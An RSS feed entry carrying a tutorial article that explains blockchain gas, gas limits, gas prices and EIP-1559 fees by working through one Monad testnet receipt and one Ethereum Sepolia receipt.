<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged ethereum</title>
<link>https://coderlegion.com/tag/ethereum</link>
<description>Powered by Question2Answer</description>
<item>
<title>Understanding Gas on the Blockchain: A Practical Guide Using Real Transactions</title>
<link>https://coderlegion.com/32560/understanding-gas-on-the-blockchain-a-practical-guide-using-real-transactions</link>
<description>&lt;p&gt;When I first encountered the concept of gas in blockchain, I understood on the surface that it measured computational work. However, I did not fully understand what that meant in practice, how gas is actually calculated under the hood, why transactions need gas limits, or how all of those numbers come together to form a transaction fee.&lt;/p&gt;
&lt;p&gt;Reading high-level definitions is one thing, but opening a block explorer and staring at a raw transaction receipt is another. Where does a specific number like &lt;code&gt;49,785&lt;/code&gt; or &lt;code&gt;152,492&lt;/code&gt; gas come from? Why does a transaction that transfers &lt;code&gt;0 ETH&lt;/code&gt; or &lt;code&gt;0 MON&lt;/code&gt; still cost money? And what actually happens to the gas you don't use?&lt;/p&gt;
&lt;p&gt;For me, the best way to truly grasp a technical concept--to the point where you can confidently explain it to someone else--is to connect the abstract math to a physical, real-world analogy and then test it against real data.&lt;/p&gt;
&lt;p&gt;In this article, we are going to break down how gas works from the ground up. We will build a simple physical mental model, look at how the Ethereum Virtual Machine (EVM) counts work, and then inspect &lt;strong&gt;two real blockchain transactions&lt;/strong&gt;: one where I interacted directly with a smart contract on &lt;strong&gt;Monad Testnet&lt;/strong&gt;, and a second transaction hash I pulled from the &lt;strong&gt;Ethereum Sepolia Testnet&lt;/strong&gt; explorer to see how the two networks compare.&lt;/p&gt;
&lt;h3 id=&quot;separating-the-five-core-concepts&quot;&gt;Separating the Five Core Concepts&lt;/h3&gt;
&lt;p&gt;When people talk about &quot;gas,&quot; they often lump several different things into one blurry idea of &quot;the fee I pay.&quot; To make transaction receipts easy to read, we first need to separate five distinct concepts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Gas:&lt;/strong&gt; The unit used to measure the computational work required to process a transaction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Limit:&lt;/strong&gt; The maximum amount of gas a transaction is allowed to consume.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Used:&lt;/strong&gt; The amount of gas the transaction actually consumed during execution. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Price:&lt;/strong&gt; The monetary rate (in cryptocurrency) paid per single unit of gas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transaction Fee (Gas Fee):&lt;/strong&gt; The final amount of cryptocurrency paid for processing the transaction, calculated according to the network's rules.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These concepts are closely related, but they do not mean the same thing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A Relatable Analogy: The Delivery Truck&lt;/strong&gt;&lt;br&gt;
Think of executing a blockchain transaction like hiring a delivery truck to drive across town and flip a switch at a warehouse:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gas (The Work)&lt;/strong&gt;: Driving 15 kilometers up a steep hill physically requires &lt;strong&gt;10 liters of fuel&lt;/strong&gt;. Notice that &quot;liters&quot; measures physical effort, not money. Whether fuel is cheap or expensive today, the engine still burns 10 liters to climb that hill.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Limit (Your Fuel Cap)&lt;/strong&gt;: Before the driver leaves, you hand them a fuel card authorized for a maximum of &lt;strong&gt;12 liters&lt;/strong&gt;. You are saying: &lt;em&gt;&quot;This trip should take 10 liters, so I am allowing up to 12 liters as a safety buffer. If the road is blocked and you burn all 12 liters before getting there, stop driving immediately.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Used (Actual Consumption)&lt;/strong&gt;: The driver completes the trip and the engine actually burns &lt;strong&gt;10 liters&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Price (Price per Liter)&lt;/strong&gt;: At the pump today, fuel costs &lt;strong&gt;$2 per liter&lt;/strong&gt;. Tomorrow, during heavy traffic demand, it might cost &lt;strong&gt;$4 per liter&lt;/strong&gt;. The distance and effort didn't change, only the price per unit of fuel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transaction Fee (The Total Bill)&lt;/strong&gt;: The final payment calculated from the fuel and the price per liter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With that picture in mind, let's briefly look at how the blockchain measures those &quot;liters of fuel&quot; under the hood.&lt;/p&gt;
&lt;h3 id=&quot;under-the-hood-how-does-the-blockchain-count-gas-&quot;&gt;Under the Hood: How Does the Blockchain Count Gas?&lt;/h3&gt;
&lt;p&gt;When you submit a transaction on an EVM-compatible blockchain, the network doesn't guess how hard your transaction worked. Instead, every tiny instruction the computer executes--called an &lt;strong&gt;opcode&lt;/strong&gt;--has a fixed cost measured in gas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Base Cover Charge (&lt;code&gt;21,000&lt;/code&gt; Intrinsic Gas)&lt;/strong&gt;: Before the blockchain even opens a smart contract, every standard transaction costs a flat minimum of &lt;strong&gt;21,000 gas&lt;/strong&gt;. This covers the basic work of verifying your cryptographic signature, checking your account nonce, and updating your account balance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Basic Math &amp;amp; Memory&lt;/strong&gt;: Inside a smart contract, simple operations like adding two numbers together (&lt;code&gt;ADD&lt;/code&gt;) cost just &lt;strong&gt;3 gas&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reading &amp;amp; Writing Permanent Storage&lt;/strong&gt;: Updating the blockchain's permanent database is the heaviest work a transaction can do, because every node on the network has to store that state change. Reading a variable from permanent storage for the first time in a transaction (&lt;code&gt;SLOAD&lt;/code&gt;) costs &lt;strong&gt;2,100 gas&lt;/strong&gt;. Writing a brand-new non-zero value into an empty storage slot (&lt;code&gt;SSTORE&lt;/code&gt; from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;) costs &lt;strong&gt;20,000 gas&lt;/strong&gt;, while updating an already non-zero slot (&lt;code&gt;SSTORE&lt;/code&gt; from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;) costs &lt;strong&gt;2,900 gas&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As your transaction runs, an internal meter starts at &lt;code&gt;21,000&lt;/code&gt; and adds up the exact cost of every instruction executed along the way.&lt;/p&gt;
&lt;p&gt;Now let's see how this looks on two real transaction receipts.&lt;/p&gt;
&lt;h3 id=&quot;case-study-one-calling-increment-on-monad-testnet&quot;&gt;Case Study One: Calling &lt;code&gt;increment()&lt;/code&gt; on Monad Testnet&lt;/h3&gt;
&lt;p&gt;For our first case study, I interacted directly with a smart contract deployed on Monad Testnet by calling its &lt;code&gt;increment()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ynfsd5vsittwt2kc9dkr.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ipa2utobv1vizco329ek.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here are the exact details from the transaction receipt:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Field                  &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Network                &lt;/td&gt;&lt;td&gt;Monad Testnet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Function Called        &lt;/td&gt;&lt;td&gt;&lt;code&gt;increment()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Status     &lt;/td&gt;&lt;td&gt;Success&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Value      &lt;/td&gt;&lt;td&gt;0 MON&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Limit              &lt;/td&gt;&lt;td&gt;49,785&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Used (as reported) &lt;/td&gt;&lt;td&gt;49,785&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Usage              &lt;/td&gt;&lt;td&gt;100%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Price              &lt;/td&gt;&lt;td&gt;102.82 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Fee        &lt;/td&gt;&lt;td&gt;0.0051188937 MON&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Why Did a &lt;code&gt;0 MON&lt;/code&gt; Transaction Still Incur a Fee?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Notice that the &lt;strong&gt;Transaction value&lt;/strong&gt; is &lt;code&gt;0 MON&lt;/code&gt;. My transaction didn't send any MON tokens to another person or contract, yet it still charged a fee of &lt;code&gt;0.0051188937 MON&lt;/code&gt;. Why?   &lt;/p&gt;
&lt;p&gt;In our delivery truck analogy, &lt;strong&gt;Transaction value&lt;/strong&gt; is the cash you put inside an envelope to send to someone across town. Even if you send the driver with &lt;code&gt;$0&lt;/code&gt; in the envelope just to flip a switch at the warehouse, the truck still has to burn fuel to drive there and flip the switch.&lt;/p&gt;
&lt;p&gt;Look at the Solidity contract behind &lt;code&gt;increment()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

contract Counter {
    uint256 public count;

    function increment() external {
        count = count + 1;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This contract stores a number called &lt;code&gt;count&lt;/code&gt; on the blockchain. Whenever someone calls &lt;code&gt;increment()&lt;/code&gt;, the contract increases &lt;code&gt;count&lt;/code&gt; by one (changing it from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;, or &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;). Even though the code looks tiny, the blockchain still has to process the transaction, run the contract's instructions, read the current value of &lt;code&gt;count&lt;/code&gt;, and write the updated number into permanent storage.&lt;/p&gt;
&lt;p&gt;The transaction fee pays for that computational processing and state update, not for transferring currency.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How Was the Fee Calculated--And Why Was Gas Usage 100%?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ipa2utobv1vizco329ek.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;On this receipt, the &lt;strong&gt;Gas limit&lt;/strong&gt; was &lt;code&gt;49,785&lt;/code&gt;, and the &lt;strong&gt;Gas used&lt;/strong&gt;, as reported was also &lt;strong&gt;49,785&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Gas Usage Percentage = (49,785 ÷ 49,785) × 100 = 100%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if we multiply the Gas limit (&lt;code&gt;49,785&lt;/code&gt;) by the Gas price (&lt;code&gt;102.82 Gwei&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;$49,785 x 102.82 Gwei = 5,118,893.7 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the conversion of $10⁹ Gwei per &lt;code&gt;1 MON&lt;/code&gt;: &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Transaction Fee = 5,118,893.7 ÷ 10⁹ = 0.0051188937 MON
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This matches the displayed transaction fee down to the last digit.&lt;/p&gt;
&lt;p&gt;But this raises an important question: &lt;strong&gt;Why does Monad calculate the fee using the &lt;code&gt;Gas Limit&lt;/code&gt;, and why did the receipt report 100% gas usage?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unlike Ethereum, which charges you based on the gas your transaction actually used after running, &lt;strong&gt;Monad charges based on the &lt;code&gt;Gas Limit&lt;/code&gt; you declare upfront&lt;/strong&gt; (and sets gasUsed equal to &lt;code&gt;gasLimit&lt;/code&gt; on the top-level receipt).&lt;/p&gt;
&lt;p&gt;To understand why, compare &lt;strong&gt;a supermarket checkout (Ethereum)&lt;/strong&gt; with &lt;strong&gt;booking cargo on an airplane (Monad)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ethereum (Supermarket Checkout)&lt;/strong&gt;: When an Ethereum validator builds a block, it runs each user's transaction on the spot before picking the next one. Because it runs the code immediately, it sees the exact &lt;code&gt;Gas Used&lt;/code&gt; right away and knows exactly how much space is left in the block for the next person.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monad (Booking Cargo on a Flight)&lt;/strong&gt;: To process thousands of transactions per second, Monad uses asynchronous execution: validators pack transactions into a block and lock in the order before running the smart contract code. Because the network hasn't run your code yet when packing the block, it doesn't know what your actual &lt;code&gt;Gas Used&lt;/code&gt; will be--it only sees the &lt;code&gt;Gas Limit&lt;/code&gt; you asked to reserve!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If Monad let users reserve massive amounts of block space using a huge &lt;code&gt;Gas Limit&lt;/code&gt; and then only charged them for a tiny &lt;code&gt;Gas Used&lt;/code&gt;afterward, someone could reserve an entire block, crowd out everyone else on the network, and pay almost nothing. Just like reserving 10 seats on a bus or cargo flight where other passengers have to be turned away at the gate, on Monad you pay for the exact capacity you reserve upfront (&lt;code&gt;Gas Limit&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&quot;case-study-two-inspecting-a-transaction-on-ethereum-sepolia-testnet&quot;&gt;Case Study Two: Inspecting a Transaction on Ethereum Sepolia Testnet&lt;/h3&gt;
&lt;p&gt;To see how standard Ethereum fee accounting differs, I went to the &lt;strong&gt;Ethereum Sepolia Testnet&lt;/strong&gt; block explorer and pulled up a random transaction hash to inspect its receipt. In this transaction, the sender called the &lt;code&gt;close()&lt;/code&gt; function on a smart contract.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/mia1vceke3h2ifd88wof.png&quot; alt=&quot;Ethereum Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here are the transaction details:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Field                             &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Network                           &lt;/td&gt;&lt;td&gt;Ethereum Sepolia Testnet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Function Called                   &lt;/td&gt;&lt;td&gt;&lt;code&gt;close()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Status                &lt;/td&gt;&lt;td&gt;Success&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Value                 &lt;/td&gt;&lt;td&gt;0 ETH&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Limit                         &lt;/td&gt;&lt;td&gt;156,059&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Used                          &lt;/td&gt;&lt;td&gt;152,492&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Usage                         &lt;/td&gt;&lt;td&gt;97.71%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Effective Gas Price (as reported) &lt;/td&gt;&lt;td&gt;0.000153611 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Fee                   &lt;/td&gt;&lt;td&gt;0.000000023424448612 ETH&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Gas Limit vs. Gas Used (And What Happens to Unused Gas)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Just like the Monad transaction, this transaction sent &lt;code&gt;0 ETH&lt;/code&gt; in value while paying a fee to execute smart contract logic. However, look at the difference between the limit and the actual consumption.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gas limit: &lt;code&gt;156,059&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gas used: &lt;code&gt;152,49&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;156,059 - 152,492 = 3,567 unused gas
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Percentage Consumed = (152,492 ÷ 156,059) × 100 ≈ 97.71%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the transaction consumed &lt;code&gt;97.71%&lt;/code&gt; of its limit and left &lt;code&gt;3,567&lt;/code&gt; gas (&lt;code&gt;2.29%&lt;/code&gt;) untouched.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happens to that &lt;code&gt;3,567&lt;/code&gt; unused gas on Ethereum?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a transaction begins on Ethereum, the protocol temporarily locks enough ETH from the sender's balance to cover the entire &lt;code&gt;156,059 Gas Limit&lt;/code&gt; (just like a fuel pump pre-authorizing your card before you pump). As the code executes, the meter ticks up to &lt;code&gt;152,492&lt;/code&gt;. The moment execution finishes, the leftover &lt;code&gt;3,567&lt;/code&gt; gas is &lt;strong&gt;immediately refunded&lt;/strong&gt; back to the sender's wallet inside the exact same transaction, and that unused capacity is freed up for other transactions in the block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How the Sepolia Transaction Fee Was Calculated&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because Ethereum refunds unused gas, the final fee is calculated strictly on &lt;strong&gt;Gas used&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Transaction fee = Gas used x Effective gas price
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Multiplying the &lt;code&gt;152,492&lt;/code&gt; gas actually consumed by the &lt;code&gt;0.000153611 Gwei&lt;/code&gt; effective gas price:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;152,492 x 0.000153611 Gwei = 23.424448612 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since 1 ETH = 10⁹ Gwei:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Fee = 23.424448612 ÷ 10⁹ = 0.000000023424448612 ETH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that the unused &lt;code&gt;3,567&lt;/code&gt; gas was never charged to the sender.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-know-what-gas-limit-to-set-&quot;&gt;How Do You Know What Gas Limit to Set?&lt;/h3&gt;
&lt;p&gt;Looking at numbers like &lt;code&gt;49,785&lt;/code&gt; on Monad and &lt;code&gt;156,059&lt;/code&gt; on Sepolia, a natural question comes up: &lt;strong&gt;How does anyone know how much gas a contract will need before sending the transaction?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You don't have to calculate opcodes manually. In practice, gas limits are estimated automatically:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wallet &amp;amp; RPC Simulation (&lt;code&gt;eth_estimateGas&lt;/code&gt;)&lt;/strong&gt;: Before you click &quot;Confirm&quot; in your wallet, the wallet silently calls a method on an RPC node called &lt;code&gt;eth_estimateGas&lt;/code&gt;. The node runs a &lt;strong&gt;free practice simulation (dry run)&lt;/strong&gt; of your transaction against the current state of the blockchain in its local memory, counts the exact gas used, and reports that number back. Your wallet then adds a small safety buffer (often 10% to 20%) in case the blockchain state changes slightly before your transaction lands in a block.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Developer Tooling (Foundry)&lt;/strong&gt;: When writing smart contracts in Foundry, running &lt;code&gt;forge test --gas-report&lt;/code&gt; or &lt;code&gt;cast estimate&lt;/code&gt; simulates your function calls and prints out the exact gas numbers before you ever deploy to a live network.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;&lt;p&gt;Practical takeaway: Because Monad charges you for your declared &lt;code&gt;Gas Limit&lt;/code&gt;, you should rely on &lt;code&gt;eth_estimateGas&lt;/code&gt; with a modest buffer rather than manually typing in an artificially huge gas limit!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;understanding-gas-price-and-gwei&quot;&gt;Understanding Gas Price and Gwei&lt;/h3&gt;
&lt;p&gt;Now that we've covered &lt;code&gt;Gas Limit&lt;/code&gt; and &lt;code&gt;Gas Used&lt;/code&gt;, let's look at &lt;strong&gt;Gas Price&lt;/strong&gt; and &lt;strong&gt;Gwei&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While gas measures the computational effort (liters of fuel), &lt;strong&gt;gas price&lt;/strong&gt; is the monetary cost per single unit of gas (price per liter). Because a single unit of gas costs a tiny fraction of &lt;code&gt;1 ETH&lt;/code&gt; or &lt;code&gt;1 MON&lt;/code&gt;, we express gas prices in &lt;strong&gt;Gwei&lt;/strong&gt; (short for &lt;em&gt;Giga-wei&lt;/em&gt;) so we don't have to read strings of nine zeros:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;1 ETH (or MON) = 10⁹ Gwei = 1,000,000,000 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;1 Gwei = 0.000000001 ETH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When someone says &lt;em&gt;&quot;Gas price is 20 Gwei,&quot;&lt;/em&gt; they don't mean the whole transaction costs 20 Gwei. They mean &lt;strong&gt;each single unit of gas costs 20 billionths of an ETH&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Suppose a transaction consumes &lt;code&gt;50,000&lt;/code&gt; gas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;strong&gt;10 Gwei&lt;/strong&gt; per gas: &lt;strong&gt;50,000 x 10 Gwei = 500,000 Gwei&lt;/strong&gt; (&lt;strong&gt;0.0005 ETH&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;At &lt;strong&gt;20 Gwei&lt;/strong&gt; per gas: &lt;strong&gt;50,000 x 20 Gwei = 1,000,000 Gwei&lt;/strong&gt; (&lt;code&gt;0.001 ETH&lt;/code&gt;). &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notice that the computational work (&lt;code&gt;50,000&lt;/code&gt; gas) stayed completely identical--the fee doubled purely because network demand pushed the price per unit of gas twice as high.&lt;/p&gt;
&lt;h3 id=&quot;decoding-eip-1559-base-fee-priority-fee-and-max-fee&quot;&gt;Decoding EIP-1559: Base Fee, Priority Fee, and Max Fee&lt;/h3&gt;
&lt;p&gt;Both the Monad and Sepolia receipts identify the transaction type as &lt;strong&gt;EIP-1559 (Type 2)&lt;/strong&gt;. Under EIP-1559, the gas price is broken down into specific components. Let's look at the fee breakdown from the Sepolia receipt:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Fee Field           &lt;/th&gt;&lt;th&gt;                   Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Network             &lt;/td&gt;&lt;td&gt;Ethereum Sepolia Testnet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Base Fee            &lt;/td&gt;&lt;td&gt;        0.000000015 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max Priority Fee    &lt;/td&gt;&lt;td&gt;        0.000153596 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max Fee             &lt;/td&gt;&lt;td&gt;        0.000153614 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Effective Gas Price &lt;/td&gt;&lt;td&gt;        0.000153611 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Here is how these four numbers fit together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Base fee (&lt;code&gt;0.000000015 Gwei&lt;/code&gt;)&lt;/strong&gt;: The mandatory minimum rate per unit of gas for that block, determined automatically by the network based on how full previous blocks were. On Ethereum, the base fee is &lt;strong&gt;burned&lt;/strong&gt; (destroyed) rather than paid to the block proposer.   &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Max priority fee (&lt;code&gt;0.000153596 Gwei&lt;/code&gt;)&lt;/strong&gt;: The maximum tip per unit of gas the sender offers directly to the block proposer (validator) to incentivize them to include the transaction. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Max fee (&lt;code&gt;0.000153614 Gwei&lt;/code&gt;)&lt;/strong&gt;: The absolute ceiling per unit of gas the sender is willing to pay in total (&lt;code&gt;Base fee + Priority fee&lt;/code&gt;) in case the base fee jumps while the transaction is waiting.    &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effective gas price (&lt;code&gt;0.000153611 Gwei&lt;/code&gt;)&lt;/strong&gt;: The actual rate per unit of gas charged when the block was produced:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Effective gas price = Base fee + Effective priority fee
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;0.000000015 Gwei + 0.000153596 Gwei = 0.000153611 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because &lt;code&gt;0.000153611 Gwei&lt;/code&gt; was safely below the sender's &lt;code&gt;Max fee&lt;/code&gt; cap of &lt;code&gt;0.000153614 Gwei&lt;/code&gt;, the transaction paid the exact sum of the base fee and priority tip.&lt;/p&gt;
&lt;h3 id=&quot;why-do-transactions-need-a-gas-limit-and-why-gas-costs-change-&quot;&gt;Why Do Transactions Need a Gas Limit? (And Why Gas Costs Change)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Preventing Runaway Code&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why does every blockchain transaction require a &lt;code&gt;Gas Limit&lt;/code&gt; in the first place? Consider a contract function with a massive loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;function expensiveOperation() external {
    uint256 total;

    for (uint256 i = 0; i &amp;lt; 1_000_000; i++) {
        total += i;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If a transaction could execute without an upper bound--or accidentally hit an infinite loop--every node on the network would get stuck executing that loop forever, halting the blockchain.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Gas Limit&lt;/strong&gt; acts as a circuit breaker. If a transaction burns through all of its allotted gas before finishing, it stops with an &lt;strong&gt;Out of Gas&lt;/strong&gt; error. When that happens, all state changes are reverted as if the transaction never happened, &lt;strong&gt;but the sender still pays for the gas consumed&lt;/strong&gt; because the network already spent real computational work running the code up to that point.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Keep in mind: having plenty of gas does not guarantee a transaction will succeed. If a contract fails an internal &lt;code&gt;require&lt;/code&gt; check or permission rule, the transaction will still revert even with gas left over.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why Two Calls to the Same Function Can Use Different Gas&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is also easy to assume that calling the same function with the same inputs will always consume the exact same amount of gas. In practice, gas usage depends on the exact state of the contract at the moment of execution.&lt;/p&gt;
&lt;p&gt;For example, in our &lt;code&gt;Counter&lt;/code&gt; contract, the very first call to &lt;code&gt;increment()&lt;/code&gt; updates &lt;code&gt;count&lt;/code&gt; from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;. Allocating a brand-new storage slot from zero to a non-zero number costs &lt;strong&gt;20,000 gas&lt;/strong&gt;. The next call updates count from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;--and overwriting an already non-zero storage slot costs &lt;strong&gt;2,900 gas&lt;/strong&gt;. Even though both users called &lt;code&gt;increment()&lt;/code&gt;, the first call performed heavier database work under the network's rules.&lt;/p&gt;
&lt;h3 id=&quot;comparing-the-two-receipts-are-fees-on-monad-expensive-&quot;&gt;Comparing the Two Receipts: Are Fees on Monad Expensive?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ipa2utobv1vizco329ek.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
